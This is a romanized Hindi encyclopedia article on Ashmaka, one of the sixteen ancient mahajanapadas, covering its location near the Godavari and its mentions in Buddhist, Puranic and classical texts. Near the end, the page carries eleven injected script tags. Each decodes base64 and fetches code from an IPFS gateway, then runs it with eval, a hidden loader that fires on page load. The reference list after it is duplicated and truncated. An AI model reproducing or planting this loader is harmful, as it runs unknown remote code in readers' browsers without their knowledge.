अश्मक महाजनपद

chitr:Disamb2.jpg ashmak

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- ashmak (bahuvikalpi)

thumb|300px|ashmak mahajanapad
Ashmaka Great Realm ashmak athava assak mahajanapad pauranik 16 mahajanapadoan mean se ek tha. narmada aur godavari nadiyoan ke bich avasthit is pradesh ki rajadhani 'patan' thi. adhunik kal mean is pradesh ko maharashtr kahate haian. bauddh sahity mean is pradesh ka ullekh milata hai, jo godavari ke tat par sthit tha.

sthiti

'mahagovindasoottant' ke anusar yah pradesh renu aur dhritarashtr ke samay mean vidyaman tha. is granth mean assak ke raja brahmadatt ka ullekh hai. *suttanipat^[1] mean assak ko godavari tat par sthit bataya gaya hai. isaki rajadhani potan, paudany ya paithan^[2] mean thi.
panini ne ashtadhyayi^[3] mean bhi ashmakoan ka ullekh kiya hai.
sonanandajatak mean assak ko avanti se sambandhit kaha gaya hai.
ashmak namak raja ka ullekh vayu puran^[4] aur mahabharat mean hai--'ashmakoan nam rajarshi: paudanyan yonyaveshayath'. sambhavat: isi raja ke nam se yah janapad ashmak kahalaya.
grik lekhakoan ne assakenoee logoan ka uttar-pashchimi bharat mean ullekh kiya hai. inaka dakshini ashvakoan se aitihasik sambandh raha hoga ya yah ashvakoan ka roopantar ho sakata hai.

pauranik varnan

koormapuran tatha brihatsanhita^[5] mean ashmak uttar bharat ka aang mana gaya hai. in granthoan ke anusar panjab ke samip ashmak pradesh ki sthiti thi, parantu rajashekhar ne apani 'kavy-mimaansa'^[6] mean isaki sthiti dakshin bharat ke pradeshoan mean mani hai. rajashekhar ke anusar mahishmati^[7] se age dakshin ki or 'dakshinapath' ka arambh hota hai, jisamean maharashtr, vidarbh, kuantal, krathaishik, soorparak^[8], kaanchi, keral, chol, paandy, koankan adi janapadoan ka samavesh batalaya gaya hai. rajashekhar ashmak janapad ko isi dakshinapath ka aang manate haian. brahmaandapuran mean yahi sthiti aangikrit ki gee hai.

vidvanh vichar

'dash-kumaracharit' mean dandi ne, 'harshacharit' mean banabhatt ne tatha 'arthashastr' ki tika mean bhattasvami ne bhi ise maharashtr prant ke aantargat mana hai. 'dashakumar charit' ke ashtam uchchhvas ke anusar ashmak ke raja ne kuantal, koankan, vanavasi, mural, rrichik tatha nasik ke rajaoan ko vidarbh naresh se yuddh karane ke lie bh dakaya, jisase un logoan ne vidarbh naresh par ek sath hi akraman kar diya. isase spasht hai ki ashmak maharashtr ka hi koee aang ya samagr maharashtr ka soochak tha, vidarbh prant ka kisi prakar aang nahian ho sakata, jaisa kavyamimaansa par aangrezi tippani mean nirdisht kiya gaya hai.^[9]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

aitihasik sthanavali | prishth sankhya= 49-50| vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

↑ suttanipat, 997
↑ pratishthanapur
↑ ashtadhyayi 4, 1, 173
↑ vayu puran 88, 177-178
↑ rachanakal 500 ee. ke asapas
↑ 17vaan adhyay
↑ indaur se 40 mil dakshin narmada ke dahine kinare base mahesh namak nagar
↑ sopara
↑ dr. 'kavyamimaansa', prishth 182, b doda sanskaran

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] suttanipat, 997

[2] ratishthanapur

[3] shtadhyayi 4, 1, 173

[4] vayu puran 88, 177-178

[5] rachanakal 500 ee. ke asapas

[6] 17vaan adhyay

[7] ur se 40 mil dakshin narmada ke dahine kinare base mahesh namak nagar

[8] sopara

[9] r. 'kavyamimaansa', prishth 182, b doda sanskaran

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]